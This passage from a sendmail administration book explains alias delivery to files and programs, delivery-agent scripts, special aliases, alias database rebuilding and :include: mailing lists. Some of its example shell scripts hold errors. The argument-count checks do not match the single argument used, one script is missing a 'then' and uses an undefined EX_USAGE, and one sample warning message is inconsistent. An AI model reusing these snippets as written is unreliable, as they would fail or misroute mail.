Then the queue df file (see Section 23.9.3, D line) is opened for reading (if it is not already open). If that file cannot be opened, sendmail prints the following error message but continues to attempt delivery:

mailfile: Cannot open df for file from sender

Here, the df is the name of the queue data file that cannot be opened. The file is the name of the file to which sendmail is attempting to deliver the message. The sender is the address of the sender of the mail message.

Next, if the SafeFileEnvironment option (see Section 34.8.58) was declared, sendmail performs a chroot(2) into the directory specified. If the chroot(2) fails, sendmail prints and logs the following error and the child exits with EX_CANTCREAT:

mailfile: Cannot chroot(directory)

Next, whether the df file is opened or not, sendmail changes its gid:

  • If there is a controlling user, sendmail sets its gid to that of the controlling user.

  • Otherwise, if the sgid bit is set in the file's saved permissions, sendmail changes its gid to that of the group of the file.

  • Otherwise, sendmail checks to see whether the U= equate is set for this delivery agent (see Section 30.4.13, U=). If the U= equate is set, sendmail changes its gid to that specified.

  • Otherwise, sendmail changes its gid to that specified by the DefaultUser (g) option (see Section 34.8.15, DefaultUser (g)(u)).

After this, sendmail changes its uid, using the same rules that it used for the gid except that the last step uses the DefaultUser (u) option.

The file (and possibly the path to it) is then checked to see whether it is safe to write to. This is done by using the internal safefile() subroutine. See the -d44 debugging switch (Section 37.5.159, -d44.4) for a description of this process.

If safe, file is then opened for writing in append mode. If sendmail cannot open the file, it prints the following error message, and the child exits with EX_CANTCREAT:

cannot open: reason for error here

If an open fails, it is attempted 10 more times (sleeping progressively longer between each try) [3] on the assumption that on busy systems there may be a temporary lack of resources (such as file descriptors). The open includes file locking with flock(2) or fcntl(2) to prevent simultaneous writes.

[3] The progression is 0 seconds for the first sleep, then 10 seconds, then 20 seconds, then 30 seconds, and so on.

Once the file is opened, the header and body of the mail message are written to it. Note that translations are controlled by the F= flags of the prog delivery agent for all but V8 sendmail. V8 sendmail uses the F= flags of the *file* delivery agent. For example, F=l (see Section 30.8.28, F=l (lowercase L)) marks this as final delivery.

If any write error occurs, sendmail prints the following error message and continues:

I/O error

Finally, the file's permissions are restored to those that were saved above, and the file is closed with fclose(3). If the suid or sgid bits were stripped because there was a controlling user, they are restored here. [4] If the file didn't originally exist, its permissions become 0666.

[4] This is because some paranoid systems, such as BSD UNIX, turn off the suid/sgid bits when a file is written to other than by root.

In general, the file form of an alias is a poor way to save mail messages to a file. Instead, the use of a separate program procmail(8) is recommended (see Section 25.7.5.2, "The procmail program").

24.2.3 Delivery via Programs

When any of the addresses to the right of a colon in the alias list begins with a | character, delivery is made by piping the mail message through a program. This is automatic with most configuration files but not with others. If your configuration file does not automatically recognize a leading | character, you will need to add a new rule near the end of your rule set 0 (see Section 29.6). For example,

R|$+     $@ $#local $: |$1

Beginning with V8.7 sendmail, any delivery agent for which the F=| flag (see Section 30.8.8, F=| (vertical bar)) is set can also pipe messages through programs. To disable this ability, simply remove the F=| flag from all delivery agent declarations in your configuration file.

The forms that a program address can legally take in the aliases(5) file (or ~/.forward file; see Section 25.7.4, "Piping Through Programs") are as follows:

|prg
"|prg args"
|"prg args"

Here, prg is the full path of the program to be run (the environment variable PATH is not available). If command-line arguments are needed for the program, they must follow prg, and the entire expression must be quoted. The leading full quotation mark may either precede or follow the |. If the address is quoted with full quotation marks, the leading quotation mark is ignored in determining the leading | character.

To execute the program, sendmail executes the command in the P= equate of the prog delivery agent. That command is one of the following:

/bin/sh -c
/bin/smrsh -c

These tell sendmail to run /bin/sh (the Bourne shell) or /bin/smrsh (the sendmail restricted shell) to execute the program specified by prg. The -c tells that shell to take any arguments that follow and execute them as though they were commands typed interactively to the shell. These arguments are constructed by removing the leading | from the program address and appending what remains, quotation marks and all, to the P= command. For example, if an alias looked like this:

jim: "|/etc/local/relo jim@otherhost"

the Bourne shell would be executed with the following command line:

/bin/sh -c "/etc/local/relo jim@otherhost"

The result of all this is that sendmail runs the Bourne shell and then the Bourne shell runs the /etc/local/relo program.

Mail is delivered under this scheme by attaching the output of sendmail to the standard input of the shell and attaching the standard output and standard error output of the shell to the input of sendmail. The sendmail program simply prints the mail message to the shell and reads any errors that the shell prints in return.

Although this process appears to be fairly straightforward, there are many things that can go wrong. Failure usually results in the mail message being bounced.

24.2.3.1 Possible failures

To communicate with the P= program (the Bourne shell), sendmail creates two communications channels using pipe(2). This can fail because the system is out of file descriptors or because the system file table is full. Failure results in one of the following errors:

openmailer: pipe (to mailer)
openmailer: pipe (from mailer)

Next, sendmail executes a fork(2). The child later becomes the P= program. This can fail because the system limit on the maximum allowable number of processes has been exceeded or because virtual memory has been exhausted. Failure causes the following error message to be printed:

openmailer: cannot fork

In establishing a communications channel, the sendmail child process creates a copy of its standard input file descriptor. This can fail because the system limit on available file descriptors has been exceeded. When this happens, the following message is printed. Note that not all dup(2) failures produce error messages.

Cannot dup to zero!

Finally, the child transforms itself into the A= program with execve(2). If that transformation fails, the following error message is produced, where program is argv[0] for the A= program (in this case, usually /bin/sh):

Cannot exec program

Failure can be caused by a wide range of problems. If one occurs and the delivery agent is local, the message is queued for a later try. Otherwise, requeueing occurs only if the error return value is a transient one defined in transienterror() in conf.c. [5]

[5] Because of a bug in all but the IDA and V8 versions, the message is silently discarded without being requeued or bounced.

Programs in the aliases file are run with the prog delivery agent. As a consequence, that delivery agent should have the F=s (strip quotes) flag set.

Previous: 24.1 The aliases(5) File | sendmail | Next: 24.3 Write a Delivery Agent Script
24.1 The aliases(5) File | Book Index | 24.3 Write a Delivery Agent Script


[Chapter 24] 24.3 Write a Delivery Agent Script

sendmailSearch this book
Previous: 24.2 Forms of Alias Delivery Chapter 24
Aliases 		Next: 24.4 Special Aliases

24.3 Write a Delivery Agent Script

The program that is driven by the prog delivery agent may be a compiled executable binary, a shell script, or even a perl(1) script. The limitation on the kind of program that may be run is made by the sh(1) shell (if sh -c is used in the A=) or by execve(2) (if it is launched directly from the P=). You need to read the manuals on your system to determine your limitations. For example, not all versions of sh(1) allow constructs like the following in scripts:

#!/usr/local/bin/perl

When this appears as the first line of a script, the #! tells sh(1) or execve(2) to run the program whose pathname follows, to execute the commands in the script. [6]

[6] Not all versions of UNIX support this feature, and on some of those that do support it, only a few shells are supported.

In writing a program for mail delivery using the prog delivery agent, some unexpected problems can arise. We will illustrate, using fragments from a Bourne shell script.

24.3.1 Duplicates discarded

When sendmail gathers its list of recipients, it views a program to run as just another recipient. Before performing any delivery, it sorts the list of recipients and discards any duplicates. Ordinarily, this is just the behavior that is desired, but discarding duplicate programs from the aliases(5) file [7] can cause some users to lose mail. To illustrate, consider a program that notifies the system administrator that mail has arrived for a retired user:

[7] Under V8 sendmail this is no longer a problem for duplicate programs listed in ~/.forward files (see Section 25.7.4) but still is a problem for aliases. The solution that sendmail uses is to internally append the uid of the ~/.forward file's owner to the program name, thus making the program name more unique.

#!/bin/sh
/usr/ucb/mail -s gone postmaster

This script reads everything (the mail message) from its standard input and feeds what it reads to the /usr/ucb/mail program. The command-line arguments to mail are a subject line of gone and a recipient of postmaster. Now consider two aliases that use this program:

george: "|/usr/local/bin/gone"
ben:    "|/usr/local/bin/gone"

When mail is sent to both george and ben, sendmail aliases each to the program |/usr/local/bin/gone. But since both the two addresses are identical, sendmail discards one.

To avoid this problem (which is most common in user ~/.forward files), design all delivery programs to require at least one unique argument. For example, the above program should be rewritten to require the user's name as an argument:

#!/bin/sh
if [ ${#} -ne 2 ]; then
        echo $0 needs a user name.
        exit
fi
/usr/ucb/mail -s "$1 gone" postmaster

By requiring a username as an argument, the once-faulty aliases are made unique:

george: "|/usr/local/bin/gone george"
ben:    "|/usr/local/bin/gone ben"

Although the program paths are still the same, the addresses (name and arguments together) are different, and neither is discarded.

24.3.2 Correct exit(2) values

The sendmail program expects its A= programs to exit with reasonable exit(2) values. The values that it expects are listed in <sysexits.h>. Exiting with unexpected values causes sendmail to bounce mail and give an unclear message:

554 Unknown status val

Here, val is the unexpected error value. To illustrate, consider the following rewrite of the previous script:

#!/bin/sh
EX_OK=0                   # From <sysexits.h>
EX_USAGE=64               # From <sysexits.h>
if [ ${#} -ne 2 ]; then
        echo $0 needs a user name.
        exit $EX_USAGE
fi
/usr/ucb/mail -s "$1 gone" postmaster
exit $EX_OK

Here, if the argument count is wrong, we exit with the value EX_USAGE, thus producing a clearer (two-line) error message:

/usr/local/bin/gone needs a user name.
/usr/local/bin/gone... Bad usage.

If all goes well, we then exit with EX_OK so that sendmail knows that the mail was successfully delivered.

24.3.3 Is It Really EX_OK?

When sendmail sees that the A= program exited with EX_OK, it assumes that the mail message was successfully delivered. It is vital for programs that deliver mail to exit with EX_OK only if delivery was 100% successful. Failure to take precautions to detect every possible error can result in lost mail and angry users. To illustrate, consider the following common C language statement:

(void)fclose(fp);

If the file that is being written to is remotely mounted, the written data may be cached locally. All the preceding write statements will have succeeded, but if the remote host crashes after the last write (but before the close), some of the data can be lost. The fclose(3) fails, but the (void) prevents detection of that failure.

Even in writing small shell scripts, it is important to include error checking. The following rewrite of our gone program includes error checking but does not handle signals. We leave that as an exercise for the reader:

#!/bin/sh
EX_OK=0                   # From <sysexits.h>
EX_USAGE=64               # From <sysexits.h>
EX_SOFTWARE=70            # From <sysexits.h>
if [ ${#} -ne 2 ]; then
        echo $0 needs a user name.
        exit $EX_USAGE
fi
if /usr/ucb/mail -s "$1 gone" postmaster >/dev/null 2>&1
then
        exit $EX_OK
fi
exit $EX_SOFTWARE

Previous: 24.2 Forms of Alias Delivery | sendmail | Next: 24.4 Special Aliases
24.2 Forms of Alias Delivery | Book Index | 24.4 Special Aliases


[Chapter 24] 24.4 Special Aliases

sendmailSearch this book
Previous: 24.3 Write a Delivery Agent Script Chapter 24
Aliases 		Next: 24.5 The Aliases Database

24.4 Special Aliases

The behavior of the sendmail program requires that two specific aliases (Postmaster and MAILER-DAEMON) be defined in every aliases file. Beginning with V8.7 sendmail, aliases that contain a plus character can be used to route mail on the basis of special needs. Also, beginning with V8.7 sendmail, databases that allow duplicates can be declared to help automate the creation of those files.

24.4.1 The Postmaster Alias

RFC822 requires every site to accept for delivery mail that is addressed to a user named postmaster. It also requires that mail accepted for postmaster always be delivered to a real human being - someone who is capable of handling mail problems. If postmaster is not an alias, or a real user, sendmail syslog(3)'s the following error:

can't even parse postmaster!

Unless a site has a real user account named postmaster, an alias is required in every aliases file for that name. That alias must be a list of one or more real people, although it may also contain a specification for an archive file or filter program. One such alias might look like this:

postmaster: bill, /mail/archives/postmaster,
       "|/usr/local/bin/notify root@mailhost"

Here, postmaster is lowercase. Because all aliases are converted to lowercase for lookup, Postmaster or even POSTMASTER could have been used for equal effect.

Note that there are three aliases to the right of the colon: a local user named bill, the full path of a file onto which mail messages will be appended, and a program to notify the user root at the machine mailhost that postmaster mail has arrived on the local machine.

As a convention, the special name postmaster can also be that of the user who gets duplicate copies of some bounced mail. This is enabled by using the PostmasterCopy (P) option (see Section 34.8.46, PostmasterCopy (P)) in the configuration file:

OPpostmaster                    <-  pre-V8.7
O PostmasterCopy=postmaster     <-  V8.7 and above

To disable sending copies of bounced mail to a special user (perhaps to protect privacy), omit this option from the configuration file.

Note that V8 sendmail does not send to the postmaster copies of error mail that include a Precedence: header with a value less than zero, like junk, bulk, or list used by mailing lists.

Also note that some sites define this user as one who is always aliased to a filter program in the aliases file. For example, if the PostmasterCopy (P) option is declared as

OPmail-errors                    <-  pre-V8.7
O PostmasterCopy=mail-errors     <-  V8.7 and above

and the corresponding aliases file entry is declared as

mail-errors: "|/etc/mail/filter postmaster"

a program filter can be designed that discards all common error messages, such as mistyped addresses, and forwards what remains to postmaster.

Many sites have developed just such filters. One is distributed with the V8 sendmail source in the file contrib/mmuegel. Written by Michael S. Muegel of Motorola's Corporate Information Office, it is a shar(1) file of several useful perl(1) scripts. One (postclip.pl) is a tool that filters out the body of bounced mail messages to prevent postmasters from potentially violating the privacy of senders. It tries to retain all headers, no matter how deeply they are buried in what appears to be the message body.

24.4.2 The MAILER-DAEMON Alias

When mail is bounced, the notification of failure is always shown as being from the sender whose name is defined by the $n macro (see Section 31.10.26, $n). Traditionally, that macro is given the value mailer-daemon:

DnMAILER-DAEMON

That tradition is enforced by the fact that if $n is not defined, it defaults to mailer-daemon.

There needs to be an alias for whatever name is defined for $n, because users occasionally make the mistake of replying to bounced mail. Two typical aliases are

mailer-daemon: postmaster
mailer-daemon: /dev/null

Here, the name to the left of the colon should be whatever was defined for $n in the configuration file, traditionally (and recommended to be) mailer-daemon. The first alias forwards all mailer-daemon reply mail to the postmaster. Many site administrators prefer the second, which discards such mail by using /dev/null.

24.4.3 Plussed Users

Plussed users is a simple way to do more versatile aliasing. It is available only with V8.7 sendmail and above, and it requires that you use a configuration file that comes with V8 sendmail. To illustrate its use, consider the need to have mail routed to different sets of administrators depending on how the address root is augmented:

root: hans, george
root+db:   root, dbadmin@server.db.here.edu
root+*:    root, root@here.edu

Here, the first line shows a normal sort of alias in which mail sent to root will instead be delivered to the local users hans and george. The second line is still not all that special, because we could as easily have used an alias such as root_db to accomplish the same thing. It sends mail to root+db to the local root users and to the database administrators in another department, dbadmin@server.db.here.edu.

The third line is where things start to get interesting. The +* in it will match anything or nothing following the plus, so mail sent to root+ will be sent both to the local root users and to the central administrators at root@here.edu. But so will anything following the plus that is not db, such as root+foo.

If the +* form is omitted:

root: hans, george
root+db:   root, dbadmin@server.db.here.edu

the default for plussed addresses other than root+db becomes root. That is, when sendmail looks up a plussed address (for example root+foo) it does so in the following order:

  • Look for an exact match. Does root+foo match root+db?

  • Look for a wildcard match. Does root+* exist? If so, use that alias for root+foo.

  • Look for a base match. Does the root of root+foo exist as an alias? If so, use that alias for root+foo.

Note that plussed users is a simple mechanism that is intended to solve simple needs. In distributing a common aliases file to many machines, for example, plussed users can furnish a hook that allows customization based on simple alias extensions. Because plussed users is simple, attempts to extend it to handle complex needs will likely fail. If your needs are complex, consider using the User Database (see Section 33.5, "The User Database") or writing custom hooks in checkcompat() (see Section 20.1, "How checkcompat() Works") instead.

24.4.4 Duplicate Entries and Automation

Ordinarily, duplicate local names on the left-hand side of the colon in an alias file will result in an error. For example, consider this abstract from an aliases file:

staff: bob
staff: george

Running newaliases on this file would produce the following error message and would cause the first entry to be ignored:

Warning: duplicate alias name george

Sometimes, however, it is advantageous to produce an alias file with duplicates. Consider this abstract from a newuser adding script:

if [ $GROUP = "staff" ]
then
        echo "staff: $USER" >> /etc/aliasdir/groups
fi

Here, we seek to add the user whose login name is stored in $USER to the mailing list called staff. To prevent sendmail from complaining, we declare the /etc/aliasdir/groups file like this in the configuration file:

O AliasFile=dbm:-A /etc/aliasdir/groups

Here, the dbm tells sendmail this is a ndbm(3) type file (it could also be btree or hash for db(3) type files). The -A switch tells sendmail to append duplicates rather than rejecting them. Too illustrate, revisit the earlier alias file:

staff: bob
staff: george

The first alias line is read and stored normally with this key and value pair:

staff    bob

  key      value

The second line is then appended to the first line, because of the -A switch, to form

staff    bob,george

  key      value

The comma is intelligently inserted by sendmail.

Although this technique can simplify the maintenance of some alias files, it should not be overused. Each append requires the prior entry to be read, the space for it and the new entry to be allocated, the old and new entries to be concatenated, and the result to be stored in such a way as to replace the original. This process slows down sendmail noticeably when it rebuilds large files with many duplicates.

Previous: 24.3 Write a Delivery Agent Script | sendmail | Next: 24.5 The Aliases Database
24.3 Write a Delivery Agent Script | Book Index | 24.5 The Aliases Database


[Chapter 24] 24.5 The Aliases Database

sendmailSearch this book
Previous: 24.4 Special Aliases Chapter 24
Aliases 		Next: 24.6 Prevent Aliasing with -n

24.5 The Aliases Database

Reading the aliases file every time sendmail begins to run can slow mail delivery and create a lot of unnecessary computational overhead. To improve efficiency, sendmail has the ability to store aliases in a separate database format on disk. In this format, sendmail rarely needs to read the aliases file. Instead, it merely opens the database and performs lookups as necessary.

The sendmail program builds its database files by reading the aliases(5) file and rewriting that file in database format. Usually, the aliases file is called aliases. With that name, ndbm(3) database files are called aliases.pag and aliases.dir, and the db(5) database file is called aliases.db.

The sendmail program offers several forms of database, one of which is chosen at compile time (see Section 18.4.1, "DBMDEF=").

24.5.1 Rebuild the Alias Database

You tell sendmail to rebuild its database files by running it in -bi mode. This mode can be executed in two different ways:

% newaliases
% /usr/lib/sendmail -bi

The first form is shorthand for the second. Either causes sendmail to rebuild those files. If the database is successfully built, sendmail prints a single line:

895 aliases, longest 565 bytes, 30444 bytes total

This shows that 895 local entries appeared to the left of colons in the aliases file. The longest list of addresses to the right of a colon was 565 bytes (excluding the newline). And there were 30,444 total bytes of noncomment information in the file.

V8 sendmail supports multiple alias database files (see the AliasFile (A) option, Section 34.8.1). Consequently, each line of its output is prefixed with the name of the alias file being rebuilt. For example,

/etc/aliasdir/users: 895 aliases, longest 565 bytes, 30444 bytes total
/etc/aliasdir/lists: 34 aliases, longest 89 bytes, 1296 bytes total

24.5.2 Check the Right Side of Aliases

When V8 sendmail rebuilds the alias database files, it can optionally be told to check the legality of all addresses to the right of the colons. The CheckAliases (n) option (see Section 34.8.6, CheckAliases (n)) turns on this check:

O CheckAliases=True    # validate RHS in newaliases

Each address is validated by running it through rule set 3, then rule set 0. Rule set 0 must select a delivery agent for the address. If it does, the address is silently validated and accepted. If not, the address is skipped, and the following warning is printed:

address... bad address

Other errors may be printed before the above line that indicate more specific reasons for the failure. For example,

... Unbalanced '<'

The -d20.1 debugging switch (see Section 37.5.66, -d20.1) can be used to gain a better idea of why the address failed. But be forewarned: The -d20.1 switch can produce many screens of output.

In general, we do not recommend setting the CheckAliases (n) option to true in the configuration file, because it can cause each right-side address to be resolved through DNS and thus slow down the rebuild considerably. For better efficiency, leave the CheckAliases (n) option off in the configuration file and turn it on only when rebuilding by hand:

% newaliases -on

24.5.3 Prevent Simultaneous Rebuilds

The alias database files can be automatically rebuilt in three ways: by the daemon (if the AutoRebuildAliases (D) option, see Section 34.8.4, AutoRebuildAliases (D), is true), by users sending mail (and thereby indirectly running sendmail), and by users intentionally rebuilding the database with newaliases (or the -bi command-line switch). To prevent one rebuild from compromising and corrupting another, sendmail uses file locking.

The sendmail program uses flock(2) or fcntl(2) with F_SETLK to lock the aliases file (depending on how it was compiled). If the aliases file is already locked (because the database is currently being rebuilt), sendmail prints the following message:

Alias file name is already being rebuilt

If sendmail is attempting to rebuild because it was run as newaliases or with the -bi command-line switch, the above message is printed, and the program exits. Otherwise, the above message is printed, and sendmail waits for the aliases file to become unlocked.

Once the aliases file is locked, sendmail next looks to see whether the key @ appears in the database. If that key is missing, sendmail knows that the database is still being rebuilt. If the AliasWait (a) option (see Section 34.8.2, AliasWait (a)) has a value, sendmail waits that amount of time for the other rebuild to finish. If the AliasWait (a) option is missing or has a zero value, sendmail plows ahead, trusting the previous lock to prevent simultaneous rebuilds.

The sendmail program waits the number of seconds specified by the AliasWait (a) option for an @ key to appear in the database. If that key doesn't appear within that wait, sendmail continues with the rebuild, assuming that some other process died while attempting to rebuild.

Before entering the key (the name to the left of the colon) and contents (everything to the right of the colon) pairs into the database, sendmail truncates the database (reduces it to size zero), thereby removing the @ key. After all the key and contents pairs have been written to the database, sendmail adds a new @ key to show that it is done.

Finally, sendmail closes the database and the aliases file. Closing the aliases file releases all locks it has on that file.

24.5.4 No DBM Aliasing

Some versions of UNIX do not provide the libraries that are needed to compile sendmail with database support. When neither the db(3) nor ndbm(3) library is available, and when no other method for getting aliases is declared (such as nis), sendmail keeps aliases in its internal symbol table.

When the symbol table is used, sendmail builds its alias database only once. When sendmail is run as a daemon, the aliases file is read only once. If the file changes, the daemon needs to be killed and restarted. In general, it is not recommended to run sendmail in daemon mode without external database files.

Previous: 24.4 Special Aliases | sendmail | Next: 24.6 Prevent Aliasing with -n
24.4 Special Aliases | Book Index | 24.6 Prevent Aliasing with -n


[Chapter 24] 24.6 Prevent Aliasing with -n

sendmailSearch this book
Previous: 24.5 The Aliases Database Chapter 24
Aliases 		Next: 24.7 Pitfalls

24.6 Prevent Aliasing with -n

At times it is desirable to run sendmail so that it does not perform aliasing. When aliasing is disabled, sendmail uses the recipient address as is. No addresses are ever looked up in the aliases file, even if they are local.

The -n command-line switch tells sendmail not to perform aliasing of recipient addresses. This switch is rarely used but can be handy in a couple of situations.

24.6.1 Is an Alias Bad?

In tracking down delivery problems, it can be difficult to determine where the problem lies. If you suspect a bad alias, you can force aliasing to be skipped and see whether that causes the problem to go away:

% /usr/lib/sendmail -n user < /dev/null

This tells sendmail to send an empty mail message (one containing mandatory headers only) to the recipient named user. The -n prevents sendmail from looking up user either in the aliases database or in ~/.forward. If user resolves to the local delivery agent, the message will be delivered, and you should therefore suspect an aliasing problem.

Other switches, such as -v (verbose) and -d (debugging), can be combined with -n to view the delivery process in more detail.

24.6.2 Filtering Recipients with a Shell Script

The -n command-line switch can also be used to suppress aliasing when delivering to a list of recipients that has already been aliased. For example, consider the following script, which attempts to restrict delivery to users who have mail delivered locally and to skip users who have mail forwarded offsite:

#!/bin/sh
EX_OK=0                   # From <sysexits.h>
EX_NOUSER=67              # From <sysexits.h>
EX_SOFTWARE=70            # From <sysexits.h>
if [ ${#} -ne 2 ]; then
        echo Usage: $0 list-name
        exit $EX_USAGE
fi
trap "exit 70" 1 2 13 15
LIST= "`/usr/lib/sendmail -bv $1 \
        | grep "mailer local" 2>&1`" \
        | sed 's/\\.\\.\\..*$//'
if [ -z "$LIST" ]
        echo "$1 expanded to an empty list"
        exit $EX_NOUSER
fi
if /usr/lib/sendmail -n $LIST >/dev/null 2>&1
then
        exit $EX_OK
fi
exit $EX_SOFTWARE

The sendmail program is called twice inside this script. First, it is given the -bv switch, which causes it to expand the list of recipients in $1. That expansion includes aliasing (and ~/.forward aliasing) for each name in the list. The output produced looks like this:

user1... deliverable: mailer local, user user1
user2@otherhost... deliverable: mailer smtp, host otherhost, user user2@otherhost

The grep(1) program selects only those lines that contain the expression "mailer local", thus indicating a local user. The sed(1) program then discards from the ... to the end of each selected line. The result, a list of local recipients only, is saved in the shell variable LIST.

The sendmail program is called with the -n switch, which prevents it from re-aliasing the list of names in $LIST (they have already been aliased once).

Note that this script should not be used as is because it checks only for the delivery agent named local, rather than for any delivery agent that can perform final delivery.

Previous: 24.5 The Aliases Database | sendmail | Next: 24.7 Pitfalls
24.5 The Aliases Database | Book Index | 24.7 Pitfalls


[Chapter 24] 24.7 Pitfalls

sendmailSearch this book
Previous: 24.6 Prevent Aliasing with -n Chapter 24
Aliases 		Next: 25. Mailing Lists and ~/.forward

24.7 Pitfalls

  • The dbm and ndbm forms of the aliases(5) database files contain binary integers. As a consequence, those database files cannot be shared via network-mounted file systems by machines of differing architectures. This is not a problem for 4.4 BSD db files.

  • The aliases file and database files can be used to circumvent system security if they are writable by the wrong users. Proper ownership and permissions are neither checked for nor enforced by sendmail.

  • Versions of sendmail that use the old-style dbm(3) libraries can cause overly long alias lines (greater than 1024 bytes) to be silently truncated. With the new databases, such as ndbm(3), a warning is printed. Note that V8 sendmail does not support old-style dbm(3) for this very reason.

  • Recursive (circular self-referencing) aliases are detected only when mail is being delivered. The sendmail program does not look for such alias loops when rebuilding its database.

  • Because of the way V8.8 sendmail locks the alias file for rebuilding, it must be writable. If it is not, sendmail prints the following and and skips the rebuild:

    warning: cannot lock aliases: Permission denied

    This can be a problem if the master alias file is shared via NFS.

Previous: 24.6 Prevent Aliasing with -n | sendmail | Next: 25. Mailing Lists and ~/.forward
24.6 Prevent Aliasing with -n | Book Index | 25. Mailing Lists and ~/.forward


[Chapter 25] Mailing Lists and ~/.forward

sendmailSearch this book
Previous: 24.7 Pitfalls Chapter 25 Next: 25.2 :include: Mailing Lists

25. Mailing Lists and ~/.forward

Contents:
Internal Mailing Lists
:include: Mailing Lists
Defining a Mailing List Owner
Exploder Mailing Lists
Problems with Mailing Lists
Packages That Help
The User's ~/.forward File
Pitfalls

As was shown in the previous chapter, the sendmail program is able to obtain its list of recipients from the aliases file. It can also obtain lists of recipients from external files. In this chapter we will examine the two forms that those external files take: the :include: form (accessed from the aliases file) and the individual user's ~/.forward file. Since the chief use of the :include: form of alias is to create &mailing lists, we will first discuss mailing lists in general, then their creation and management, and then the user's ~/.forward file.

A mailing list is the name of a single recipient that, when expanded by sendmail aliasing, becomes a list of many recipients. Mailing lists can be internal (in which all recipients are listed in the aliases file), external (in which all recipients are listed in external files), or a combination of the two. The list of recipients that forms a mailing list can include users, programs, and files.

25.1 Internal Mailing Lists

An internal mailing list is simply an entry in the aliases file that has more than one recipient listed on the right-hand side. Consider, for example, the following aliases file entries:

admin:  bob,jim,phil
bob:    \bob,/u/bob/admin/maillog

Here, the name admin is actually the name of a mailing list, because it expands to more than one recipient. Similarly, the name bob is a mailing list, because it expands to two recipients. Since bob is also included in the admin list, mail sent to that mailing list will be alias-expanded by sendmail to produce the following list of recipients:

jim, phil, \bob, /u/bob/admin/maillog

This causes the mail message to be delivered to the local users jim and phil in the normal way. That is, each undergoes additional alias processing, and the ~/.forward file of each is examined to see whether either should be forwarded. The recipient \bob, on the other hand, is delivered without any further aliasing because of the leading backslash. Finally, the message is appended to the file /u/bob/admin/maillog.

Internal mailing lists can become very complex as they strive to support the needs of large institutions. Examine the following simple, but revealing, example:

research:     user1, user2
applications: user3, user4
admin:        user5, user6
advertising:  user7, user8
engineering:  research, applications
frontoffice:  admin, advertising
everyone:     engineering, frontoffice

Only the first four aliases above expand to real usernames. The last three form mailing lists out of combinations of those four, the last being a superset that includes all users.

When the number of mailing lists is small and they don't change often, they can be effectively managed as part of the aliases file. But as their number and size grow, you should consider moving individual lists to external files. [1]

[1] Only root should be permitted to write to the aliases file. If you keep mailing lists inside that file, it may need to be writable by others. This can create a security breach (see Section 22.5.4, "Recommended Permissions").

Previous: 24.7 Pitfalls | sendmail | Next: 25.2 :include: Mailing Lists
24.7 Pitfalls | Book Index | 25.2 :include: Mailing Lists


[Chapter 25] 25.2 :include: Mailing Lists

sendmailSearch this book
Previous: 25.1 Internal Mailing Lists Chapter 25
Mailing Lists and ~/.forward 		Next: 25.3 Defining a Mailing List Owner

25.2 :include: Mailing Lists

The special notation :include: in the right-hand side of an alias causes sendmail to read its list of recipients from an external file. For that directive to be recognized as special, any address that begins with :include: must select the local delivery agent. This is automatic with most configuration files but not with others. If your configuration file does not automatically recognize the :include: directive, you will need to add a new rule near the end of your rule set 0 (see Section 29.6, "Rule Set 0"). For example,

R:include:$*     $@ $#local $: :include:$1

Beginning with V8.7 sendmail, any delivery agent for which the F=: flag (see Section 30.8.7, F=:) is set can also process :include: files. (Note that eliminating the F=: flag for all delivery agent definitions in your configuration file will disable this feature entirely.)

The :include: directive is used in aliases(5) files like this:

localname:   :include:/path

The expression :include: is literal. It must appear exactly as shown, colons and all, with no space between the colons and the "include." As with any right-hand side of an alias, there may be space between the alias colon and the lead colon of the :include:.

The /path is the full pathname of a file containing a list of recipients. It follows the :include: with intervening space allowed.

The /path should be a full pathname. If it is a relative name (such as ../file), it is relative to the sendmail queue directory. For all but V8 sendmail, the /path must not be quoted. If it is quoted, the quotation marks are interpreted as part of the filename. For V8 sendmail, the /path may be quoted, and the quotation marks are automatically stripped.

If the /path cannot be opened for reading for any reason, sendmail prints the following warning and ignores any recipients that might have been in the file:

:include: path... Cannot open path: reason

Here, reason is "no such file or directory," "permission denied," or something similar. If /path exists and can be read, sendmail reads it one line at a time. Empty lines are ignored. Beginning with V8 sendmail, lines that begin with a # character are also ignored:

addr
# a comment
                     <-  empty line is ignored
addr2

Each line in the :include: file is treated as a list of one or more recipient addresses. Where there is more than one, each should be separated from the others by commas.

addr1
addr2, addr3, addr4

The addresses may themselves be aliases that appear to the left in the aliases file. They may also be user addresses, program names, or filenames. A :include: file may also contain additional :include: lists:

engineers                            <-  to an alias
biff, bill@otherhost                 <-  to two recipients
|"/etc/local/loglists thislist"      <-  to a program alias
/usr/local/archive/thislist.hist     <-  to a file
:include:/yet/another/file           <-  from another file

Beginning with V8.7 sendmail, the TimeOut.fileopen option (see Section 34.8.70, Timeout (r)) controls how long sendmail should wait for the open to complete. This is useful when files are remotely mounted as with NFS. This timeout encompasses both this open and the security checks described next. Note that the NFS file system must be soft mounted (or mounted with the intr option) for this to work.

Beginning with V8, sendmail checks the file for security. If the controlling user is root, all components of the path leading to the file are also checked. [2] If the suid bit of the file is set (telling sendmail to run as owner of the file), sendmail checks to be sure that the file is writable only by the owner. If it is group- or world-writable, sendmail silently ignores that suid bit. When checking components of the path, sendmail will print the following warning if it is running as root and if any component of the path is group- or world-writable:

[2] The sendmail program also performs this check for critical system files, such as its configuration file.

WARNING: writable directory offending component

This process is described in greater detail under the -d44 debugging switch (see Section 37.5.159, -d44.4), which can also be used to observe this process.

After sendmail opens the /path for reading but before it reads the file, it sets the controlling user to be the owner of the file (if one is not already set and provided that file ownership cannot be given away with chown(1)). The controlling user provides the uid and gid identities of the sender when delivering mail from the queue (see Section 23.9.2, C line).

The :include: file can neither deliver through programs nor append to files if any of three situations is true: if the owner of the :include: file has a shell that is not listed in /etc/shells (see Section 22.8.4, "The /etc/shells file"), if the :include: file is world-writable, or if the :include: file is group-writable and the UnsafeGroupWrites option (see Section 34.8.73, UnsafeGroupWrites) is true.

25.2.1 Comments in :include: Lists

IDA and V8 sendmail allow comments in :include: files. Comment lines begin with a # character. If the # doesn't begin the line, it is treated as the beginning of an address, thus allowing valid usernames that begin with a # (such as #1user) to appear first in a line by prefixing them with a space:

# Management                 <-  a comment
frida
george@wash.dc.gov
# Staff                      <-  a comment
ben
steve
 #1user                      <-  an address

Note that since comments and empty lines are ignored by sendmail, they can be used to create attractive, well-documented mailing lists.

Under older versions of sendmail, comments can be emulated through the use of RFC822-style comments:

( comment )

By surrounding the comment in parentheses, you cause sendmail to view it and the parentheses as an RFC-style comment and ignore them:

( Management )
frida
george@wash.dc.gov
( Staff )
ben
steve

This form of comment works with both the old and new sendmail programs.

25.2.2 Tradeoffs

